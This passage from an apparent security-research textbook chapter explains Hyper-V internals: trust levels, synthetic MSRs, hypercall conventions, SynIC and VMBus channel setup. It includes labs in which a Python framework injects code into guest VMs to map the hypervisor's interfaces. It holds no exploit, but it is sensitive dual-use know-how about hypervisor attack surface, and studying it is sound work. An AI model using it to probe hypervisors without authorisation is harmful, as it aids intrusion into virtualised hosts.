with this chapter communicates with the time synchronization IC.
Virtual Trust Levels

Virtual Trust Levels (VTLs) provide an intra-partition isolation mechanism based on
multiple virtual processor context levels with different privileges. Currently, Hyper-V
implements two levels: VTL0 (least privileged) and VTL1 (most privileged).
Initially, partitions run at VTL0 but can use the HvCallEnablePartitionVtl hypercall
to activate higher VTLs. After a new VTL has been enabled for the partition, it has to
be enabled for its virtual processor(s), which is accomplished by the HvCallEnableVpVtl
hypercall. A VTL can access its own configuration instance or those of lower VTLs only.
In the same way, software running in VTL1 can access resources belonging to VTL0, but
not the other way around.
PART V
NOTE Enabling a VTL requires that the partition has the AccessVsm9
capability. The root partition has this capability.
One of the main aspects of VTL is the ability to isolate memory regions across the
different privilege levels. This allows the implementation of security features such as
Hypervisor-protected Code Integrity (HVCI). The hypervisor keeps a different set of
SLAT tables (on Intel-based systems, EPT is used) for each VTL, and even if privileged
software in VTL0 is compromised, an access attempt to a protected region will cause an
EPT violation. The hypervisor captures it and then notifies the software in VTL1 (via an
intercept), which decides how to handle it.
NOTE Not just memory accesses can be intercepted and handled by VTL1;
every critical part of the CPU state must be protected, including some
model-specific registers (MSRs).
522
This kind of access violation event causes a context switch from VTL0 to VTL1.
Other sources of events that cause VTL0 to VTL1 transitions are interrupts (each
VTL has its own interrupt controller) and VTL calls (issued explicitly through the
HvCallVtlCall hypercall).
A context switch from VTL1 to VTL0 can only happen explicitly, when the software
running in VTL1 calls the HvCallVtlReturn hypercall.
VTLs are used to implement Secure Kernel (SK). During the boot-loading process
(after Hyper-V has loaded), both the NT kernel and SK are loaded (in VTL0). Then
VTL1 is enabled and configured to isolate SK (now in VTL1) from the NT kernel,
which keeps its execution at VTL0.
Generation-1 VMs
There are two VM “generations” in Hyper-V. The old-style VMs known as “Generation-1”
provide full-device emulation (implemented in the worker process) to run unmodified
guest OSs. This emulated environment is a BIOS-based architecture with legacy devices.
Paravirtualized (“synthetic”) devices are also available to virtualization-aware guests;
however, Generation-1 guests can only boot from the emulated devices.
Lab 25-1: Scanning PCI Devices in a Generation-1 VM
Our framework includes the GHHv6/ch25/labs/pci.py module, which can be used to

inject and execute code that scans the PCI bus of the guest. Let’s use this module to see
what hardware is present in a Generation-1 VM. To do so, we will open a Python shell on
our “client” box (we will run all the labs of this chapter from our “client” box):
┌──(root ghh6)-[/labs]
└─# python3
>>> import pci
>>> import hyperv_guest
>>> pci.Session(hyperv_guest.GuestGen1).run()
PRINT: kmain at 0x000000000040135d
00:00:00: Host bridge
00:07:00: ISA bridge
00:07:01: IDE controller
BAR MEM-space : 0x0 size: 0x0
BAR IO-space : 0xffa0 size: 0x10
00:07:03: Other bridge device
523
00:08:00: VGA-compatible controller
BAR MEM-space : 0xf8000000 size: 0x4000000
Stopping VM...
In the output, we can see information about the emulated devices present in a
Generation-1 VM created with a default configuration.
NOTE Our new base class is now called Session, and it generalizes on the
Fuzzer class we implemented in Chapter 24.
Generation 2 VMs
The newer, “Generation-2” VMs can only run virtualization-aware (“enlightened”)
guests. Except for a couple of emulated devices, most have been replaced by synthetic
ones. These provide “enlightened I/O” over an efficient inter-partition communication
mechanism known as VMBus. Synthetic devices are usually based on existing protocols
(like SCSI, RNDIS, or HID) but use VMBus as the basic transport layer. Later in this
chapter, we will discuss VMBus in more detail.
Generation-2 VMs are based on the Unified Extensible Firmware Interface (UEFI)
architecture, which enables features like Secure Boot as well as allows VMs to boot from
paravirtualized devices.
PART V
Lab 25-2: Scanning PCI Devices in a Generation-2 VM
Let’s see what happens if we attempt to scan the PCI bus in a Generation-2 VM:
└─# python3
>>> import pci
>>> import hyperv_guest
>>> pci.Session(hyperv_guest.GuestGen2).run()
Copying namedpipe_proxy.exe to remote host...
Copying kernel_bios.iso to remote host...
Copying kernel_efi.iso to remote host...
Creating VM...
Starting VM...
Connecting...
PRINT: kmain at 0x000000000040135d
Stopping VM...
524
In this case, there is no output at all—not only are emulated devices gone but the
whole PCI bus as well! In reality, a few emulated devices (for example, video) still remain;
we just can’t find them through the PCI bus. These can still be found through ACPI
tables exposed to the guest.
Hyper-V Synthetic Interface

Hyper-V exposes an interface to paravirtualization features that improves VM efficiency
and provides inter-partition communication support. The VMM exposes this synthetic
interface through extensions to model-specific registers (MSRs), the Synthetic Interrupt
Controller (SynIC), and hypercalls. On top of the inter-partition communication interface
provided by the VMM, the root partition implements the VMBus, which is used by VSPs
and ICs.
Synthetic MSRs
Hyper-V exposes a set of synthetic MSRs that can be accessed through the RDMSR/
WRMSR instructions. A list of these MSRs can be found in the Hypervisor Top-Level
Functional Specification (TLFS).10 In this chapter, we will focus on the MSRs used to
map the “hypercall page” and the ones used to manage the SynIC.
Guest OS Identity MSR

Before we can use features like hypercalls, we need to register our guest OS identity
to Hyper-V. This is achieved by writing vendor and OS version information to the
HV_X64_MSR_GUEST_OS_ID (0x40000000) register. In the GHHv6/ch25/labs/
hypercall.py module provided with the code of this chapter, we set this MSR to an ID
that fakes a Windows 10 guest.
TIP A description of the layout for this register can be found in the TLFS.
The Hypercall Page MSR

CPU vendors use different hypercall instructions; Hyper-V provides a generic interface
by mapping a “hypercall page” containing the right instruction for the current CPU.
A guest doesn’t need to know which hypercall instruction to use, and it shouldn’t attempt
to use instructions like VMCALL directly. Instead, hypercalls should be used through
the hypercall page.
TIP If you are familiar with Linux’s VSYSCALL/VDSO pages, the same concept
is applied in the hypercall page.
525
We will write a GPA to HV_X64_MSR_HYPERCALL (0x40000001), where we
want the hypercall page to be mapped. The layout of this MSR is as follows:
• Bits 63–12 Contain the Guest Physical Page Number (GPFN) where the
hypercall page is mapped.
• Bits 11–2 Reserved bits (ignored).
• Bit 1 If this bit is set, the MSR is made immutable. After that, the GPFN can’t
be modified until the guest is rebooted.
• Bit 0 Enable/disable the hypercall page.
Lab 25-3: Setting Up the Hypercall Page and Dumping Its Contents
If we invoke the GHHv6/ch25/labs/hypercall.py module directly, it dumps the hypercall

page contents after mapping it. We can use it to observe what instruction implements the
hypercall mechanism for our current CPU:
└─# python3 hypercall.py
Hypercall page contents:
0x1011000: vmcall❶
0x1011003: ret❷
0x1011004: mov ecx, eax
0x1011006: mov eax, 0x11❸
0x101100b: vmcall
0x101100e: ret
0x101100f: mov rax, rcx
PART V
0x1011012: mov rcx, 0x11❹
0x1011019: vmcall
0x101101c: ret
0x101101d: mov ecx, eax
0x101101f: mov eax, 0x12❺
0x1011024: vmcall
0x1011027: ret
0x1011028: mov rax, rcx
0x101102b: mov rcx, 0x12❻
0x1011032: vmcall
0x1011035: ret
0x1011036: nop
0x1011037: nop
...
In this case, the instruction is VMCALL ❶, followed by a RET ❷ instruction. A guest

can issue a hypercall by executing a CALL instruction to the address of the hypercall page
(in this case, 0x1011000).
We can also see some code used to perform VTL calls. At ❸, the EAX register is
set to 0x11, corresponding to the call-code of HvCallVtlCall (this is the 32-bit ABI).
At ❹, we have the 64-bit version of the same call. The call at ❺ corresponds to a 32-bit
HvCallVtlReturn, and at ❻ we have the 64-bit version. The rest of the hypercall page
is filled with a NOP pattern.
526
SynIC MSRs
The Synthetic Interrupt Controller (SynIC) is an extension to the virtualized interrupt
controller (virtual LAPIC). The SynIC not only provides efficient interrupt delivery but is
also used for inter-partition communication. Partitions can communicate with each other
via two mechanisms: messages and events. When a target partition receives a message or
an event, it is through the SynIC.
SynIC CONTROL MSR Each virtual processor has a SynIC, which is disabled by
default. To enable the SynIC for the current virtual processor, we must write to the
HV_X64_MSR_SCONTROL (0x40000080) register, setting its “enable” field. The
layout for the HV_X64_MSR_SCONTROL register is as follows:
• Bits 63–1 Reserved bits.

• Bit 0 Enable/disable SynIC for the current virtual processor.
SINT MSRs The SynIC provides 16 consecutive “synthetic interrupt source” (SINTx) regis-
ters: HV_X64_MSR_SINT0 (0x40000090) to HV_X64_MSR_SINT15 (0x4000009F).
Interrupt sources can be selectively unmasked and then assigned to a particular interrupt
vector. This way, the guest can be notified of events via interrupts (if interrupts are enabled),
which get handled by the corresponding service routine from the guest’s IDT (Interrupt
Descriptor Table). The layout of a SINT register is the following:

• Bit 18 “Polling” field. If this bit is enabled, the interrupt source is unmasked
without generating interrupts.
• Bit 17 “AutoEOI” field. If this bit is enabled, an implicit End Of Interrupt
(EOI) is performed upon interrupt delivery.
• Bit 16 “Masked” field. All SINT registers start with this bit set by default.
A guest can unmask an interrupt source by clearing this bit.
• Bits 7–0 Interrupt vector. A guest can set this value to any vector in the
16–255 range.
The destination SINTx of a message or event can be the following
• Implicit (for example, SINT0 is reserved for messages originating from the
hypervisor).
• Explicit (for example, the SINTx field of the Synthetic Timer Configuration
registers).
• Assigned to a port allocated through the HvCallCreatePort hypercall. The
caller must specify the port type: HvPortTypeMessage, HvPortTypeEvent,
or HvPortTypeMonitor. For the first two types, a target SINTx must be specified.
This hypercall is used by the root partition to create ports used by VMBus.
527
SIMP MSR The HV_X64_MSR_SIMP (0x40000083) register is used to enable and
assign the base address of the Synthetic Interrupt Message Page (SIMP). This page
contains a set of message slots to receive messages from either the hypervisor or other
partitions (senders use the HvCallPostMessage hypercall).
Slots are arranged as an array of HV_MESSAGE data structures, with one slot per
SINTx (16). After copying a new message to a slot, the hypervisor will try to deliver an
edge-triggered interrupt to the corresponding SINTx (if not in polling mode).
The HV_MESSAGE structure is defined as follows:
#define HV_MESSAGE_MAX_PAYLOAD_QWORD_COUNT 30
typedef struct
{
UINT8 MessagePending:1;
UINT8 Reserved:7;
} HV_MESSAGE_FLAGS;
typedef struct
{
HV_MESSAGE_TYPE MessageType;❶
UINT8 PayloadSize;
HV_MESSAGE_FLAGS MessageFlags;
UINT16 Reserved;
union
{
UINT64 OriginationId;
HV_PARTITION_ID Sender;❷
HV_PORT_ID Port; ❸
};
} HV_MESSAGE_HEADER;
typedef struct
{
PART V
HV_MESSAGE_HEADER Header;
UINT64 Payload[HV_MESSAGE_MAX_PAYLOAD_QWORD_COUNT];
} HV_MESSAGE;
HV_MESSAGE is composed of a header and a payload that contains the actual

message. The message header starts with a 32-bit identifier ❶. Messages originating from
the hypervisor have the HV_MESSAGE_TYPE_HYPERVISOR_MASK (0x80000000)
bit set, whereas messages originating from partitions can use any other value as long as
they don’t set that bit.
The value HvMessageTypeNone (0x00000000) indicates a slot is empty. After receiv-
ing a message, a guest should set MessageType to HvMessageTypeNone and then assert
an end of message (EOM).
Finally, the header contains either a partition ID ❷ (for example, intercept messages
contain the ID of the child) or a port ID ❸ (associated to a connection ID) when the
message was sent via HvCallPostMessage.
The layout of HV_X64_MSR_SIMP is as follows:
• Bits 63–12 GPFN where the SIMP is mapped.

• Bits 11–1 Reserved.
• Bit 0 Enable/disable the SIMP.
528
EOM MSR After we process a message delivered to a SIMP slot and set it to
HvMessageTypeNone, we can write a zero to HV_X64_MSR_EOM (0x40000084) to
let the hypervisor know that it can de-queue and deliver the next message.
SIEFP MSR HV_X64_MSR_SIEFP (0x40000082) is used to enable and assign the
base address of the Synthetic Interrupt Event Flags Page (SIEFP). This page contains a
16-element array of HV_SYNIC_EVENT_FLAGS; each element is a fixed-size bitmap
with a capacity for 2,048 flags:
#define HV_EVENT_FLAGS_BYTE_COUNT 256
typedef struct
{
UINT8 Flags[HV_EVENT_FLAGS_BYTE_COUNT];
} HV_SYNIC_EVENT_FLAGS;
When a port of HvPortTypeEvent is allocated through HvCallCreatePort, the follow-

ing information must be supplied:
struct
{
HV_SYNIC_SINT_INDEX TargetSint;❶
HV_VP_INDEX TargetVp;❷
UINT16 BaseFlagNumber;❸
UINT16 FlagCount;❹
UINT32 ReservedZ;
} EventPortInfo;
In addition to a target SINTx ❶ and target virtual processor ❷, an event port has a
base flag number ❸ and a flag count ❹. A partition can use HvCallSignalEvent to set a
specific flag in the target partition by passing two parameters: a connection ID parameter
(associated to an event port) and the flag number (this number must be below the event
port’s FlagCount).
The value of BaseFlagNumber is added to the flag number, and the result is the abso-
lute bit position that will be set in the HV_SYNIC_EVENT_FLAGS bitmap of the slot
corresponding to the target SINTx.
After setting the flag, the hypervisor will try to deliver an edge-triggered interrupt to
the corresponding SINTx (if not in polling mode). A guest receiving events should make
use of an atomic Compare and Swap (CAS) instruction to clear the flags and then assert
an EOI (via the APIC).
The layout of HV_X64_MSR_SIEFP is as follows:
• Bits 63–12 GPFN, where the SIEFP is mapped.

• Bits 11–1 Reserved.
• Bit 0 Enable/disable the SIEFP.
Hypercalls
Hypercalls can be called from guest code running at ring-0 (in 32-bit protected mode or
in long-mode) through the hypercall page mechanism described earlier.
529
NOTE To conserve space, we will cover 64-bit calling conventions only.
When we make a call through the hypercall page, the instruction at this page
(VMCALL in this case) traps into the VMM. The VMM’s dispatch loop checks if the
VM-Exit reason code corresponds to a VMCALL (18) and then calls a routine that is
a common entry point for all hypercalls. This routine performs further validations (for
example, it checks that RIP is within the hypercall page) and then proceeds to read the
contents of the guest’s RCX register where the following information is encoded:
• Bits 63–60 Reserved (zero).

• Bits 59–48 Start repetition for “rep” hypercalls.
• Bits 43–32 Total repetition count field for “rep” hypercalls.
• Bit 26 Indicates if the hypercall should be handled by the L0 or L1 hypervisor
under nested virtualization (for space reasons, we won’t cover nested virtualization).
• Bits 25–17 Variable header size in 8-byte blocks.
• Bit 16 Indicates if the “fast” calling convention is used for input.
• Bits 15–0 The “call code” that identifies a particular hypercall. The VMM
contains a hypercall table where each entry contains the following information:
the call code, a pointer to the handler (function) for that specific hypercall, and
PART V
information needed for processing input and output arguments (implicit header
sizes, “rep” hypercalls, and so on).
The way in which the input and output parameters of a hypercall are processed
depends on the value of these RCX fields and is constrained by the information in the
hypercall table entry for that particular hypercall.
Hypercalls: Slow and Fast

Input and output arguments to a hypercall can be passed in three ways: in memory, in
general-purpose registers, and in XMM registers. Hypercalls using the memory-based
approach are known as “slow,” whereas those using a register-based approach are known
as “fast.”
When we want to use a fast hypercall, we must indicate it by setting the bit at position
16 of the RCX register; otherwise, the bit must be clear.
When we’re passing memory-based arguments, RDX contains the GPA of the input,
whereas R8 contains the GPA of the output. Both addresses should point to valid guest
memory and should not overlap. They should be 8-byte aligned and can’t cross page
boundaries. They can’t belong to an overlay area (examples of overlays are the hypercall
530
page, the SIMP, and SIEFP). Read access is required for the GPA pointed to by RDX,
whereas write access is required for the address in R8.
Only a subset of the available hypercalls can use register arguments; this is due to size
constraints. For fast hypercalls using general-purpose registers, the argument size must fit
in a 64-bit register: RDX is used for input, and R8 for output.
When available, XMM fast hypercalls can be used for sizes up to 112 bytes. In this
case, data is stored in the set of registers composed of RDX, R8, plus XMM registers
in the range of XMM0 to XMM5. The same register set can be shared for input and
output; in the latter case, only registers that haven’t been used for input will be used to
store the output.
Finally, in both slow and fast hypercalls, the RAX register is used to store the hypercall
return value.
Hypercalls: Simple and Rep

Hypercalls can be classified as one of two types: simple or “rep” (repeat). Simple
hypercalls perform an operation on a single argument, whereas “rep” hypercalls oper-
ate on a variable-size list of fixed-size elements. An example of a simple hypercall is
HvCallFlushVirtualAddressSpace, which is used to perform a full invalidation of the
guest’s translation lookaside buffer (TLB):
HV_STATUS HvCallFlushVirtualAddressSpace(
_In_ HV_ADDRESS_SPACE_ID AddressSpace,
_In_ HV_FLUSH_FLAGS Flags,
_In_ UINT64 ProcessorMask
);
The input of this hypercall forms a fixed-size block of 24 bytes (each argument is 8 bytes).
This is the hypercall’s “implicit header size.”
On the other hand, HvCallFlushVirtualAddressList is a “rep” hypercall, taking a list
of GVA ranges to invalidate:
HV_STATUS HvCallFlushVirtualAddressList(
_In_ UINT64 ProcessorMask,
_Inout_ PUINT32 GvaCount,❶
_In_reads_(GvaCount) PCHV_GVA GvaRangeList❷
);
Here, the first three arguments are the same as in HvCallFlushVirtualAddressSpace,

and they also form a 24-byte fixed-size header. We can see the GvaCount ❶ argument
defined as both input and output; internally, this argument is encoded in the “total rep
count” field of the RCX register. The “start rep index” field of the same register will be
initially zero, and then the hypercall will increment it as it processes the list elements, so
finally GvaCount can be set to its value. GvaRangeList ❷ is where the variable-size list
starts. In memory, this is right after the 24-byte block. Each element must be of fixed
size (in this case, 8 bytes) and the list should contain a GvaCount number of elements.
531
TIP The GHHv6/ch25/labs/hypercall.py module included with the
sources of this chapter contains the implementation to make use of a “slow”
hypercall (HvCallPostMessage) and a “fast” hypercall (HvCallSignalEvent).
The interesting thing about “rep” hypercalls is that they can return before complet-
ing the “total rep count” and can be re-invocated (RIP is not increased and VMCALL is
re-executed), in which case they will keep processing the list elements from the last “start
rep index” value. This mechanism is known as hypercall continuation.
NOTE The time spent inside a hypercall must be bounded so that a virtual
processor is not stuck for long periods of time. For this reason, some simple
hypercalls also use hypercall continuations.
Hypercalls: Variable-Size Headers

We have seen that hypercalls have an implicit fixed-size header and that “rep” hypercalls
have a variable-size list of elements. Hypercalls can also have variable-size data. Let’s take
a look at one of them:
HV_STATUS HvCallFlushVirtualAddressSpaceEx(
_In_ HV_VP_SET ProcessorSet❶
);
This looks similar to HvCallFlushVirtualAddressSpace, but ProcessorMask has been

replaced by ProcessorSet ❶, which is a variable-size collection. In this case, the implicit
PART V
fixed-size header corresponds to the first two arguments (16-bytes), and ProcessorSet is
a variable-size header.
In memory, a variable-size header must be placed after the fixed-size header, and its
size must be rounded to 8-byte granularity. The size of the variable header (in 8-byte
blocks) must be encoded in bits 25–17 of the RCX register.
Our last example is a “rep” hypercall with variable-size headers:
HV_STATUS HvCallFlushVirtualAddressListEx(
_In_ HV_VP_SET ProcessorSet,
_Inout_ PUINT32 GvaCount,
_In_reads_(GvaCount) PCHV_GVA GvaRangeList
);
The arguments are in the same order we should place them in memory: fixed-size
header, followed by variable-size header, and finally the “rep” list.
532
VMBus
VMBus is a channel-based communication mechanism used by VSPs and ICs. Our
guest’s minimal prerequisites to use the VMBus are as follows:
• Support for calling HvCallPostMessage and HvCallSignalEvent. We need to

register the HV_X64_MSR_GUEST_OS_ID and map a hypercall page in
HV_X64_MSR_HYPERCALL.
• Enable the SynIC.
• Unmask at least one SINTx (we will use HV_X64_MSR_SINT2).
• Map a message page (HV_X64_MSR_SIMP).
Initiation
To initiate communication with the VMBus, we send (via HvCallPostMessage) an
“initiate contact” request. This message is sent to the connection ID 4 (older versions
use 1, but we will use 4). The layout of this message (as ported to our framework from
the definitions found in the Linux Kernel) is as follows:
VmbusChannelMessageHeader = c.Struct(
'msgtype' / c.Int32ul,❶
'padding' / c.Const(0, c.Int32ul)
)
VmbusChannelInitiateContact = c.Struct(
'hdr' / VmbusChannelMessageHeader,
'vmbus_version_requested' / c.Int32ul,❷
'target_vcpu' / c.Int32ul,❸
'msg_sint' / c.Int8ul,❹
'padding' / c.Bytes(7),
'monitor_page1' / c.Int64ul,❺
'monitor_page2' / c.Int64ul❻
)
All VMBus messages start with the same message header containing the message
type ❶. In this case, msgtype will be 14. The next field contains a VMBus version ❷. In
general, we should start with the highest version possible and iterate by lowering versions
(sending multiple initiate messages) until we succeed. In our case, we will send a single
message requesting a version that should work in our setup. Next, we have the target
virtual processor ❸ (messages are sent to the SynIC of that processor) and the SINTx ❹
(we will use SINT2).
Finally, we can supply the GPAs of two “monitor” pages. These can be used by some
devices for fast notifications; we will set them but won’t use them. The first page ❺ is used
for child-to-parent (root partition) notifications, and the second ❻ for parent-to-child
notifications.
If negotiation succeeds, we receive a “version response” message in the SIMP slot of
the SINTx we supplied. Keep in mind that if we don’t set the SINTx polling mode, we
might get an interrupt to the vector we assigned to it when unmasking SINTx (so we
would need an appropriate IDT handler for it). All messages sent by the parent are going
533
to the SINTx supplied in the “initiate contact” request. The “version response” layout is
as follows:
VmbusChannelVersionResponse = c.Struct(
'version_supported' / c.Int8ul,
'connection_state' / c.Int8ul,
'padding' / c.Int16ul,
'msg_conn_id' / c.Int32ul❶
)
We are interested in the connection ID field ❶. We will replace our previous connec-
tion ID (4) with the one we receive here.
Requesting Offers
To discover which devices are present on the VMBus, we send a “request offers”
(msgtype 3) message, which is just a VmbusChannelMessageHeader.
After sending the message, we will receive multiple “offer channel” (msgtype 1)
messages, finalizing with an “all offers delivered” (msgtype 4) message. The layout of an
“offer channel” is as follows:
VmbusChannelOffer = c.Struct(
'if_type' / UUID,❺
'if_instance' / UUID,❻
'reserved1' / c.Int64ul,
'reserved2' / c.Int64ul,
'chn_flags' / c.Int16ul,
'mmio_megabytes' / c.Int16ul,
'user_def' / c.Bytes(120),
'sub_channel_index' / c.Int16ul,
'reserved3' / c.Int16ul
PART V
)
VmbusChannelOfferChannel = c.Struct(
'offer' / VmbusChannelOffer,
'child_relid' / c.Int32ul,❶
'monitorid' / c.Int8ul,❸
'monitor_allocated' / c.Int8ul,❷
'is_dedicated_interrupt' / c.Int16ul,
'connection_id' / c.Int32ul❹
)
The information in this message is device specific and channel specific.

The child_relid ❶ field contains a channel ID that will be used later for set-
ting up a shared memory region and establishing communication to the device. If
monitor_allocated ❷ is nonzero, the device makes use of monitored notifications, in
which case monitorid ❸ will be used as an index into the monitor pages (for space
reasons, we won’t discuss or use monitor pages). The event port associated to connec-
tion_id ❹ will be used to signal events to the device (via HvCallSignalEvent).
In the device-specific information, we have if_type ❺ containing the UUID of the
device class, whereas if_instance ❻ is the UUID of a particular device (if our VM had
two devices of the same type, we would see two offers with the same if_type but different
if_instance).
534
NOTE A universally unique identifier (UUID) is standardized 128-bit
encoding for identifier labels. In this chapter, we will refer to UUID as the
little-endian variant exclusively.
The layout of the “all offers delivered” message is a VmbusChannelMessageHeader

(msgtype 4).
Lab 25-4: Listing VMBus Devices
The GHHv6/ch25/labs/vmbus.py module included with this chapter implements

everything that has been described so far. It is recommended that you read its code care-
fully, paying special attention to every step involved.
If we invoke it directly, it will print the device information obtained from offer
messages. This information includes the child_relid value, the if_instance UUID, and
the if_type (converted to a device description from the UUID):
└─# python3 vmbus.py
[OFFER ID: 1] 1eccfd72-4b41-45ef-b73a-4a6e44c12924 Dynamic memory
[OFFER ID: 2] 99221fa0-24ad-11e2-be98-001aa01bbf6e Automatic Virtual Machine Activation
[OFFER ID: 3] 58f75a6d-d949-4320-99e1-a2a2576d581c Mouse
[OFFER ID: 4] d34b2567-b9b6-42b9-8778-0a4ec0b955bf Keyboard
[OFFER ID: 5] 5620e0c7-8062-4dce-aeb7-520c7ef76171 Synthetic Video
[OFFER ID: 6] 4487b255-b88c-403f-bb51-d1f69cf17f87 Automatic Virtual Machine Activation (2)
[OFFER ID: 7] fd149e91-82e0-4a7d-afa6-2a4166cbd7c0 Heartbeat
[OFFER ID: 8] 242ff919-07db-4180-9c2e-b86cb68c8c55 KVP
[OFFER ID: 9] b6650ff7-33bc-4840-8048-e0676786f393 Shutdown
[OFFER ID: 10] 2dd1ce17-079e-403c-b352-a1921ee207ee Time Synch
[OFFER ID: 11] 2450ee40-33bf-4fbd-892e-9fb06e9214cf VSS (Backup/Restore)
[OFFER ID: 12] f5bee29c-1741-4aad-a4c2-8fdedb46dcc2 Remote Desktop Virtualization
[OFFER ID: 13] 6f2f86d6-114a-42b8-90ca-f5ff19bd23eb SCSI
[OFFER ID: 14] 89b44895-a96d-4625-85b0-efc1aaa9f2a2 Network
Opening a Channel
Establishing communication with one of the offered devices involves two steps. First, we
send a list of guest page frame numbers (GPFNs) describing the memory range(s) that
we will share with the host. Second, we split this region into two ring-buffers: one for
receiving and the other for transmitting.
Memory sharing between the guest and host (or more precisely, between the child
partition and the parent partition) is achieved by creating a Guest Physical Address
Descriptor List (GPADL). If you have ever worked with Windows memory descriptor
lists (MDLs),11 the principle is the same: create a contiguous buffer from noncontiguous
physical memory. In the case of GPADLs, we send GPFNs (the host will translate them
to their respective SPFNs).
535
We create a GPADL from a sequence of “GPA ranges,” and each range is encoded in
the following way:
GPARange = c.Struct(
'byte_count' / c.Int32ul,❶
'byte_offset' / c.Int32ul,❷
'pfn_array' / c.Array(
lambda t: ceil((t.byte_count + t.byte_offset) / 4096), c.Int64ul)❸
)
def gpa_range(address, size):❹
start_pfn = address >> 12
end_pfn = (address + size) >> 12
return {
'byte_count': size,
'byte_offset': address & 0xfff,
'pfn_array': range(start_pfn, end_pfn)
}
A GPA range is a variable-size structure, starting with the range size in bytes ❶ and
followed by an offset ❷ (in bytes, relative to the first memory page). The rest of the struc-
ture is a list of GPFNs ❸ representing the memory range. The number of list elements
should match with the number of pages required given the range size and start offset.
Since our framework uses a 1:1 memory mapping model, we will just use physically
contiguous pages. Given a base address and size arguments, the gpa_range ❹ function
returns a GPA range.
To create a GPADL, we send a “GPADL header” request (msgtype 8) with a list of
GPA ranges. We encode this message in the following way:
def gpa_range_size(range_list):❻
return len(b''.join(map(GPARange.build, range_list)))
PART V
VmbusChannelGPADLHeader = c.Struct(
'gpadl' / c.Int32ul,❷
'range_buflen' / c.Rebuild(
c.Int16ul, lambda t: gpa_range_size(t.range)),❺
'rangecount' / c.Rebuild(c.Int16ul, c.len_(c.this.range)),❹
'range' / c.Array(c.this.rangecount, GPARange),❸
)
After the message header, we have the child_relid ❶ field. We supply the value
obtained from the same field of the offer message of the device we want to communicate
with. The gpadl ❷ field is set to a value of our choice; it will be used to identify the
GPADL. At the end of the message we have the sequence of GPA ranges ❸. The number
of elements in this sequence is set in rangecount ❹, and the total size (in bytes) of this
sequence in range_buflen ❺. The gpa_range_size ❻ function calculates this size by
encoding the range’s list.
When the buffer we want to create is small enough, it will fit in a single “GPADL
header” message; however, it could be the case that the number of PFNs and/or ranges
required to represent larger buffers won’t fit in a single message (the message size used
by HvCallPostMessage is limited to 240 bytes). In such cases, we split the contents of
536
the “range” field into chunks to fit this size. The first chunk is sent with the “GPADL
header” and the rest of them in a series of “GPADL body” messages (msgtype 9).
A “GPADL body” message contains a header followed by a chunk. The header encod-
ing is as follows:
VmbusChannelGPADLBody = c.Struct(
'msgnumber' / c.Int32ul,❶
'gpadl' / c.Int32ul❷
)
The msgnumber ❶ field identifies the chunk we are sending (we increment this value
for every chunk we send), and the gpadl ❷ field is set to the same value we used in the
GPADL header message.
After we send the GPADL header, and (optionally) one or more GPADL body mes-
sages, we are notified of the GPADL creation with a “GPADL created” (msgtype 10)
response. The layout of this message is as follows:
VmbusChannelGPADLCreated = c.Struct(
'gpadl' / c.Int32ul,❷
'creation_status' / c.Int32ul❸
)
The child_relid ❶ and gpadl ❷ fields contain the same values we supplied, and
creation_status ❸ should be zero.
Finally, to set up the ring-buffers, we send an “open channel” (msgtype 5) request.
The layout of this message is as follows:
VmbusChannelOpenChannel = c.Struct(
'openid' / c.Int32ul,❷
'ringbuffer_gpadl' / c.Int32ul,❸
'target_vp' / c.Int32ul,❺
'downstream_offset' / c.Int32ul,❹
'user_data' / c.Bytes(120),❻
)
As usual, child_relid ❶ is set to the same value as the child_relid field of the offer.
We set openid ❷ to a value of our choice, and we pass the identifier of our newly created
GPADL to ringbuffer_gpadl ❸. In downstream_offset ❹, we pass an offset (in pages)
that will split this buffer in two ring-buffers. We will set the target virtual processor ❺
and user_data ❻ to zero.
If the request succeeds, we get an “open channel result” (msgtype 6) reply:
VmbusChannelOpenResult = c.Struct(
'openid' / c.Int32ul,❷
'status' / c.Int32ul,❸
)
537
The child_relid ❶ and openid ❷ fields contain the same values we supplied, and
status ❸ should be zero. At this point, we can communicate with the device through the
two ring-buffers.
TIP The GHHv6/ch25/labs/vmbus.py module contains the implementation

of everything explained so far. Complement this chapter by reading its code.
Ring-Buffer Communication
We have a shared buffer created from a GPADL that was split into two ring-buffers: the
first is for transmitting and the second is for receiving. The transmitting ring-buffer starts
at the GPADL’s first GPFN and ends at the GPFN located downstream_offset entries
later (as we supplied in the “open channel” request). The receiving ring-buffer starts at
the end of the transmitting buffer and ends at the last GPFN of the GPADL.
The actual data to transmit (or receive) starts at the second page of each ring-buffer.
The first page of each ring-buffer contains a structure with the ring-buffer’s state:
RingBuffer = c.Struct(
'write_index' / c.Int32ul,❶
'read_index' / c.Int32ul,❷
'interrupt_mask' / c.Int32ul,
'pending_send_sz' / c.Int32ul,
'reserved' / c.Bytes(48),
'feature_bits' / c.Int32ul
)
Additional (reserved) fields might follow the ones from this structure, and these are
further followed by padding bytes to fill the page. For basic use, we only need to care
PART V
about write_index ❶ and read_index ❷; the rest of the structure can be left zeroed. Both
indexes represent an offset in bytes from the start of the ring-buffer data area (4,096 bytes
after the ring-buffer state).
When data is written into the ring-buffer, write_index is incremented by the length
of the data; if the increment is larger than the ring-buffer size, the index is wrapped
around. If write_index is larger than the read_index, the space left in the ring-buffer
is the ring-buffer size minus write_index, plus read_index. If write_index is less than
read_index, the space left is read_index minus write_index. When data is read from the
ring-buffer, read_index is incremented in the same fashion.
If read_index and write_index are equal, the ring-buffer is either empty or full,
depending on the situation (either read_index reaching write_index or write_index
reaching read_index). When this happens, we should notify the host, which can be done
by calling HvCallSignalEvent using the connection ID field of the offer corresponding to
the device we are communicating with and the event flag zero.
Data is encapsulated in “packets” containing a header with the information needed to
identify and read the whole packet, regardless of its inner layout:
class PacketType(Enum):❷
VM_PKT_INVALID = 0
VM_PKT_SYNCH = 1
VM_PKT_ADD_XFER_PAGESET = 2
VM_PKT_RM_XFER_PAGESET = 3
538
VM_PKT_ESTABLISH_GPADL = 4
VM_PKT_TEARDOWN_GPADL = 5
VM_PKT_DATA_INBAND = 6❸
VM_PKT_DATA_USING_XFER_PAGES = 7
VM_PKT_DATA_USING_GPADL = 8
VM_PKT_DATA_USING_GPA_DIRECT = 9
VM_PKT_CANCEL_REQUEST = 10
VM_PKT_COMP = 11❼
VM_PKT_DATA_USING_ADDITIONAL_PKT = 12
VM_PKT_ADDITIONAL_DATA = 13
PacketHeader = c.Struct(
'type' / c.Int16ul,❶
'offset8' / c.Int16ul,❹
'len8' / c.Int16ul,❺
'flags' / c.Int16ul,❻
'trans_id' / c.Int64ul❽
)
The type ❶ field is one of the values defined in PacketType ❷; the most common is
